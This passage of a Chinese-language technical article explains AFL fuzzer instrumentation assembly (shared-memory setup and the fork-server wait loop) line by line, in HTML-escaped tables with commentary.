&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_setup_first:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Save everything that is not yet saved and that may be touched by&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     getenv() and several other libcalls we&#x27;ll be relying on. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq -352(%rsp), %rsp&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rax,   0(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rcx,   8(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rdi,  16(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rsi,  32(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %r8,   40(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %r9,   48(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %r10,  56(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %r11,  64(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm0,  96(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm1,  112(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm2,  128(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm3,  144(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm4,  160(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm5,  176(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm6,  192(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm7,  208(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm8,  224(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm9,  240(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm10, 256(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm11, 272(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm12, 288(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm13, 304(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm14, 320(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %xmm15, 336(%rsp)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Map SHM, jumping to __afl_setup_abort if something goes wrong. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* The 64-bit ABI requires 16-byte stack alignment. We&#x27;ll keep the&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     original stack ptr in the callee-saved r12. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pushq %r12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq  %rsp, %r12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  subq  $16, %rsp&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  andq  $0xfffffffffffffff0, %rsp&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq .AFL_SHM_ENV(%rip), %rdi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;call _getenv&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  testq %rax, %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  je    __afl_setup_abort&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq  %rax, %rdi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;call _atoi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  xorq %rdx, %rdx   &#x2F;* shmat flags    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  xorq %rsi, %rsi   &#x2F;* requested addr *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rax, %rdi   &#x2F;* SHM ID         *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;call _shmat&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cmpq $-1, %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  je   __afl_setup_abort&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Store the address of the SHM region. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rax, %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rax, __afl_area_ptr(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rax, __afl_global_area_ptr(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %rax, %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;首先，保存所有寄存器的值，包括 &lt;code&gt;xmm&lt;&#x2F;code&gt; 寄存器组；&lt;&#x2F;p&gt;
&lt;p&gt;然后，进行 &lt;code&gt;rsp&lt;&#x2F;code&gt; 的对齐；&lt;&#x2F;p&gt;
&lt;p&gt;然后，获取环境变量 &lt;code&gt;__AFL_SHM_ID&lt;&#x2F;code&gt;，该环境变量保存的是共享内存的ID：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果获取失败，跳转到 &lt;code&gt;__afl_setup_abort&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;如果获取成功，调用 &lt;code&gt;_shmat&lt;&#x2F;code&gt; ，启用对共享内存的访问，启用失败跳转到 &lt;code&gt;__afl_setup_abort&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来，将 &lt;code&gt;_shmat&lt;&#x2F;code&gt; 返回的共享内存地址存储在 &lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt; 和 &lt;code&gt; __afl_global_area_ptr&lt;&#x2F;code&gt; 变量中。&lt;&#x2F;p&gt;
&lt;p&gt;后面即开始运行 &lt;code&gt;__afl_forkserver&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_forkserver:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	 &#x2F;* Enter the fork server mode to avoid the overhead of execve() calls. We&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     push rdx (area ptr) twice to keep stack alignment neat. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pushq %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pushq %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Phone home and tell the parent that we&#x27;re OK. (Note that signals with&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     no SA_RESTART will mess it up). If this fails, assume that the fd is&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     closed because we were execve()d from an instrumented binary, or because&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     the parent doesn&#x27;t want to use the fork server. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $4, %rdx               &#x2F;* length    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq __afl_temp(%rip), %rsi &#x2F;* data      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $&quot; STRINGIFY((FORKSRV_FD + 1)) &quot;, %rdi       &#x2F;* file desc *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;write&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cmpq $4, %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  jne  __afl_fork_resume&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这一段实现的主要功能是向 &lt;code&gt;FORKSRV_FD+1&lt;&#x2F;code&gt; （也就是198+1）号描述符（即状态管道）中写 &lt;code&gt;__afl_temp&lt;&#x2F;code&gt; 中的4个字节，告诉 fork server （将在后续的文章中进行详细解释）已经成功启动。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_fork_wait_loop:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Wait for parent by reading from the pipe. Abort if read fails. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $4, %rdx               &#x2F;* length    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq __afl_temp(%rip), %rsi &#x2F;* data      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $&quot; STRINGIFY(FORKSRV_FD) &quot;, %rdi            &#x2F;* file desc *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;read&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cmpq $4, %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  jne  __afl_die&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Once woken up, create a clone of our process. This is an excellent use&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     caches getpid() results and offers no way to update the value, breaking&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     abort(), raise(), and a bunch of other things :-( *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;fork&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cmpq $0, %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  jl   __afl_die&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  je   __afl_fork_resume&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* In parent process: write PID to pipe, then wait for child. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movl %eax, __afl_fork_pid(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $4, %rdx                   &#x2F;* length    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq __afl_fork_pid(%rip), %rsi &#x2F;* data      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $&quot; STRINGIFY((FORKSRV_FD + 1)) &quot;, %rdi             &#x2F;* file desc *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;write&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $0, %rdx                   &#x2F;* no flags  *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq __afl_temp(%rip), %rsi     &#x2F;* status    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq __afl_fork_pid(%rip), %rdi &#x2F;* PID       *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;waitpid&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cmpq $0, %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  jle  __afl_die&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Relay wait status to pipe, then loop back. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $4, %rdx               &#x2F;* length    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq __afl_temp(%rip), %rsi &#x2F;* data      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $&quot; STRINGIFY((FORKSRV_FD + 1)) &quot;, %rdi         &#x2F;* file desc *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;write&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  jmp  __afl_fork_wait_loop&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;等待fuzzer通过控制管道发送过来的命令，读入到 &lt;code&gt;__afl_temp&lt;&#x2F;code&gt; 中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;读取失败，跳转到 &lt;code&gt;__afl_die&lt;&#x2F;code&gt; ，结束循环；&lt;&#x2F;li&gt;
&lt;li&gt;读取成功，继续；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;fork 一个子进程，子进程执行 &lt;code&gt;__afl_fork_resume&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将子进程的pid赋给 &lt;code&gt;__afl_fork_pid&lt;&#x2F;code&gt;，并写到状态管道中通知父进程；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;等待子进程执行完成，写入状态管道告知 fuzzer；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重新执行下一轮 &lt;code&gt;__afl_fork_wait_loop&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
